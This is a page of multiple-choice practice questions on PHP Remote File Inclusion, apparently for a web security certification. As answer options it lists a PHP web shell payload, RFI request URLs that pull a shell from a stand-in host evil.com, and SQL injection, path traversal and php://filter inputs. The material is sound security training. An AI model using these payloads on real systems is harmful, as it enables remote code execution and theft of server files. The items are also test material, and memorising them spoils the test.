Remote File Inclusion (RFI) WAHS Practice Questions (Page 3)

Questions 11–15

1. 11application · medium

   A junior developer asks why a PHP application is vulnerable to RFI. The code is: $page = $_GET['page']; include($page);. The developer notes that the server has allow_url_include=Off. What is the correct explanation?

   • AThe application is still vulnerable to LFI, but not RFI, because allow_url_include=Off blocks remote file inclusion.
   • BThe application is not vulnerable to RFI because allow_url_include is Off.
   • CThe application is not vulnerable at all because the developer has not seen any attacks.
   • DThe application is vulnerable to RFI regardless of allow_url_include because include() can always fetch remote files.
   Reveal Solution Discussion Select an answer first
2. 12application · medium

   An attacker has confirmed an RFI vulnerability in a PHP application. The server has `allow_url_include=On`. The attacker wants to execute a command on the server. Which payload, when hosted on the attacker's server, will achieve code execution when included?

   • A`<script>alert(1)</script>`
   • B`<?php echo 'hello'; ?>`
   • C`<?php system($_GET['cmd']); ?>`
   • D`#include <stdio.h>`
   Reveal Solution Discussion Select an answer first
4. 13application · medium

   A security tester is analyzing a PHP application. The code is: $file = $_GET['file']; if (file_exists($file)) { include($file); }. The tester wants to determine if RFI is possible. What is the most important observation?

   • ARFI is possible if allow_url_fopen and allow_url_include are both enabled, because file_exists() can check remote URLs and include() can fetch them.
   • BThe file_exists() check will return false for remote URLs, so RFI is not possible.
   • CRFI is not possible because file_exists() only works on local files.
   • DThe file_exists() check prevents RFI because it validates the file is local.
   Reveal Solution Discussion Select an answer first
5. 14expert · hard

   An attacker exploits an RFI vulnerability. The vulnerable code is: include($_GET['page'] . '.php');. The attacker hosts a file at http://evil.com/shell.txt. The file contains: <?php system($_GET['cmd']); ?>. How can the attacker achieve code execution?

   • ARequest: http://target/app.php?page=http://evil.com/shell.txt?cmd=id
   • BRename the file to shell.php and request: http://target/app.php?page=http://evil.com/shell&cmd=id
   • CRequest: http://target/app.php?page=http://evil.com/shell.txt%00&cmd=id
   • DRequest: http://target/app.php?page=http://evil.com/shell.txt&cmd=id
   Reveal Solution Discussion Select an answer first
6. 15foundation · easy

   While reviewing PHP code, you see the following line: include($_GET['module']);. Which of the following inputs would be the most effective to test for RFI?

   • A1; DROP TABLE users; --
   • Bhttp://attacker.com/evil.txt
   • Cphp://filter/convert.base64-encode/resource=index.php
   • D../../../../etc/passwd
   Reveal Solution Discussion Select an answer first